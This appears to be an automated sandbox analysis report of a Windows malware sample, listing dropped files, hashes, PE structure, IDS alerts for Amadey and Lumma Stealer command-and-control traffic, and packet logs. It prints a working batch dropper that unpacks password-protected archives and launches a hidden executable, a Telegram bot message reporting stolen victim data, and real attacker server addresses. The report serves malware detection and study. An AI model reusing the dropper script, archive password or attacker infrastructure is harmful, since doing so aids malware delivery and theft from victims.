Process:	C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	4.99323851364312
Encrypted:	false
SSDEEP:	6:kX32J19HgIJAuuuthkP//f4IoWzqs4jW1CRW35jY:kWJ1JgIOuHhA/XvoPPWV5k
MD5:	7225D8C283F7B303692A163301880199
SHA1:	7BF7F829E108693DB3DAD66B557EAA1DBA464D94
SHA-256:	19B824BE603626AAD3EB7CAAA5F56F709F22AE80965559A81977DEC9CB22A944
SHA-512:	05125D14C265EED21453D2A6E8007F3BF2C2F339567718AF4F4A20C8EB1474EA73A7656B4EDF13B937B25AB3045601F49D19F8E47521C601FD17D3A218BE0D60
Malicious:	false
Preview:	{. "ip": "8.46.123.189",. "hostname": "static-cpe-8-46-123-189.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
File Type:	PNG image data, 438 x 438, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	156917
Entropy (8bit):	7.994509354006501
Encrypted:	true
SSDEEP:	3072:T0ogum1PKnCjOE92xFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre:T0oRCa6Gz4U9+6Q3O+Fre
MD5:	F89267B24ECF471C16ADD613CEC34473
SHA1:	C3AAD9D69A3848CEDB8912E237B06D21E1E9974F
SHA-256:	21F12ABB6DE14E72D085BC0BD90D630956C399433E85275C4C144CD9818CBF92
SHA-512:	C29176C7E1D58DD4E1DEAFCBD72956B8C27E923FB79D511EE244C91777D3B3E41D0C3977A8A9FBE094BAC371253481DDE5B58ABF4F2DF989F303E5D262E1CE4D
Malicious:	false
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive, Description: Detects images embedding archives. Observed in TheRat RAT., Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, Author: ditekSHen
Preview:	.PNG........IHDR................p....IDATx....\|.e....3......D dw6...S..Y.[......#L..g.r.....$XA=.f.............)...?.I.(.dv.3.l..~>~>..3.dw.y.<o.$I......+.a...t..=.h..@......#.....%X...C..TE....6g......0..q.......=.d>..e[-.R..,..$)YN<...2'..$..t.m.<l@...^..sJR.&..$%...c.....-9?a33..K..(+.[.$..2.IRk.xb..&..L..%..:.o....$)...&I..}.@b.u.}lny=...E.?..]IJ..LjK.4..#....$.......5...mK.....$.k.i.2....,8.j..`....C..E&6I....R..DzM.Ci..]..x{.*.H.S.HI2k.....s.Jj..(.....D."IN!..$..t...cE.....S.[t....r(R...>.Pr.. Gt(1.l`......@$I4.c.$..Ew;8.E(..>.AH.....$.d..B..T..d6Fa....$...A.$......Y!..D. I....$5g......@..PL2...a..D."I...U.$.c.O......r.. $I$..$...#..V.(.b..d..M.....cH.q(.v..B.D..M.b9f\>...H@>6.b...2.IR,.0 ..X....$."..$...~.CH.b. :.I.E&6I.EA..!$../:.I.E&6I.I...A.rE. I...&I.....B.h...$I...$).V...!a..C.$Qdb..X.\|':....+:.I.E&6I..:cM4..$c...$I...$)...v.X-:..l.......V..M..A.KE../"ZR_.L..Ll...C.D../..E. I"..&I...fth/uT.y...$.db......y.a.E..X....qH.H2.IR....@..8..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	777
Entropy (8bit):	5.111446650390362
Encrypted:	false
SSDEEP:	24:YKOHrPy1JVBa4YGQVPe071kWePyoZEB6KasJENBm9c:YVHrPQTBj/Q51CPtZOujMc
MD5:	4E6C0B5DF78F599527523F823BFD563A
SHA1:	7CEFCC7DD79B0E2513800AEBC7973C82AA554F99
SHA-256:	CE59203D7691167EF5098C9653F44CE8127A0767E882B54D8D9EB2DE479C4E47
SHA-512:	3C36F3247A2FDEDA204FD3CCE753ABF5E3825E2B3FF7A7F9BA6772708C387D3F8F2839903DA8AB975EAEFF73F8B5C0997593D844F9E03A4457BE654FA271CF4E
Malicious:	false
Preview:	{"ok":true,"result":{"message_id":28306,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432","username":"kardanvalov88","type":"private"},"date":1734801404,"text":"\ud83d\udd14NEW VICTIM - Extensions Installed\nIP Address: 8.46.123.189\nDevice Name: 965543\nLocation: New York City, New York, US\nWallets:\nNothing found","entities":[{"offset":0,"length":35,"type":"bold"},{"offset":36,"length":11,"type":"bold"},{"offset":48,"length":12,"type":"url"},{"offset":61,"length":12,"type":"bold"},{"offset":81,"length":9,"type":"bold"},{"offset":119,"length":8,"type":"bold"},{"offset":128,"length":13,"type":"code"}]}}

C:\Windows\Tasks\Gxtuum.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4197274869292387
Encrypted:	false
SSDEEP:	6:b+fSVXflNeRKUEZ+lX1SlkbtPjgsW2YRZuy0lDEEt0:afcf2RKQ1hBjzvYRQVDVt0
MD5:	DE38762D6137FC46D5B86AFFD0014296
SHA1:	C6AB8B754AEAD4E1ED59D6D8C8DE849D6AD57C26
SHA-256:	C0DFDF83860DA2BB4661E6EECDA52512274EAADF5476A26BF495DF86BA79F43F
SHA-512:	CF9277FA41440C2FE6B2F31333256404014F23F5B45E15C097B9C2C18CC4570E8C44AD159A6BE570D9DD63B705519116FD09530A29EBDD5A983316A130AB7A3C
Malicious:	false
Preview:	.......*.8.C.a0...z.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.4.5.8.d.2.6.3.c.0.\.G.x.t.u.u.m...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.413968782621494
Encrypted:	false
SSDEEP:	6:zEvXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lDRt0:IPf2RKQ1CGAFAjzvYRQVDRt0
MD5:	2BDA8957B094D14957DBB3C19E499A7D
SHA1:	1CEBB3C114922B944C868E1E6BF210522228F506
SHA-256:	7A792C82B038CA7D2C8AF8A744CF6009CEACCF6D23D91CFF0ACC7853F16C75E9
SHA-512:	EF485D7B789D9A7A613FE9557002664E2AE848AE37C89B9B4CAD0D941320EA75E523344FDC94476909200F4A023BFD401421DECDD690C0A61EFE8100EC8A0837
Malicious:	false
Preview:	..........B.D...1w.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.613909371616506
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'289'088 bytes
MD5:	b54cf9188652a3bfe166d33c542f8ac6
SHA1:	4335fa4d75ab3ba85613d163f8f930d9adf087ce
SHA256:	0f1d1aed639362ce37edde5b4c278555bec835b1a5d3d5b90a7b8bbce0d83b86
SHA512:	b6ef0f5c0db58bed81c3c8c5f506942503c00d7c97099ac52b290567fe2578b88b8d5589715583b1b7b80f6a30e344e870f416eda0a241ed002b8fea0171892f
SSDEEP:	49152:k4HtEx2aA9j9Gst1RPlc6eqEgbcVCaY8MBVkBiS5wRwnij4Pk:5e9Ujgst1RPlc6eubCCaBPhWRBE
TLSH:	88E54BA2AD0771EFD4891675852BCD829D5C02B94F2E0DC3A87CE4F97E63EC056B6C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x723000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FFB34D1F11Ah
femms
xor al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FFB34D21115h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x321e18	0x10	jlvlbxwn
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x321dc8	0x18	jlvlbxwn
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	37f77c0683517b34bd4eb503d438c9d8	False	0.5582604041466346	data	7.041161231941029	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jlvlbxwn	0x6b000	0x2b7000	0x2b7000	90b5e9f09fefcfc1e8c5d9fd3f38ef99	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hiserdkf	0x322000	0x1000	0x600	a357974dbf4700582901d42e4c018ac9	False	0.5670572916666666	data	4.936909555584353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x323000	0x3000	0x2200	4616cfd7fc0a40e6f34d3aaf9626b298	False	0.06215533088235294	DOS executable (COM)	0.7435591548891796	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-21T18:16:07.327276+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-12-21T18:16:12.035751+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49770	31.41.244.11	80	TCP
2024-12-21T18:16:17.502622+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49764	TCP
2024-12-21T18:16:18.652930+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49787	104.21.67.146	443	TCP
2024-12-21T18:16:18.998808+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49786	185.215.113.43	80	TCP
2024-12-21T18:16:19.079818+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49787	104.21.67.146	443	TCP
2024-12-21T18:16:19.079818+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49787	104.21.67.146	443	TCP
2024-12-21T18:16:20.392073+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49789	104.21.67.146	443	TCP
2024-12-21T18:16:20.449016+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49788	31.41.244.11	80	TCP
2024-12-21T18:16:21.179986+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49789	104.21.67.146	443	TCP
2024-12-21T18:16:21.179986+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49789	104.21.67.146	443	TCP
2024-12-21T18:16:22.797058+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49795	104.21.67.146	443	TCP
2024-12-21T18:16:25.163092+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49805	104.21.67.146	443	TCP
2024-12-21T18:16:25.263589+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49802	185.215.113.43	80	TCP
2024-12-21T18:16:25.995967+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49805	104.21.67.146	443	TCP
2024-12-21T18:16:26.712520+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49808	31.41.244.11	80	TCP
2024-12-21T18:16:27.456948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-21T18:16:30.857043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49819	104.21.67.146	443	TCP
2024-12-21T18:16:31.724623+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49820	185.215.113.43	80	TCP
2024-12-21T18:16:33.170187+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49826	31.41.244.11	80	TCP
2024-12-21T18:16:33.387067+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-21T18:16:33.391504+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-21T18:16:36.973348+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49841	104.21.67.146	443	TCP
2024-12-21T18:16:37.753367+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49841	104.21.67.146	443	TCP
2024-12-21T18:16:43.923917+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-21T18:16:45.380105+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49866	31.41.244.11	80	TCP
2024-12-21T18:16:56.505804+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49888	185.215.113.43	80	TCP
2024-12-21T18:16:57.951070+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49893	31.41.244.11	80	TCP
2024-12-21T18:17:05.085213+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49910	185.215.113.43	80	TCP
2024-12-21T18:17:07.754208+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49922	31.41.244.11	80	TCP
2024-12-21T18:17:09.131915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49925	172.67.180.113	443	TCP
2024-12-21T18:17:09.877863+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49925	172.67.180.113	443	TCP
2024-12-21T18:17:09.877863+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49925	172.67.180.113	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 18:16:05.815330029 CET	49753	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:05.975032091 CET	80	49753	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:05.975120068 CET	49753	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:05.975287914 CET	49753	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:06.095047951 CET	80	49753	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:07.323606968 CET	80	49753	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:07.327275991 CET	49753	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:08.834642887 CET	49753	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:08.835200071 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:08.955079079 CET	80	49753	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:08.955132961 CET	80	49764	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:08.955177069 CET	49753	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:08.955432892 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:08.955552101 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:09.075855017 CET	80	49764	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:10.327963114 CET	80	49764	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:10.328011036 CET	80	49764	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:10.328231096 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:10.328231096 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:10.560276985 CET	80	49764	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:10.560385942 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:10.568877935 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:10.689404011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:10.689512014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:10.689701080 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:10.809601068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035659075 CET	80	49770	31.41.244.11	192.168.2.4
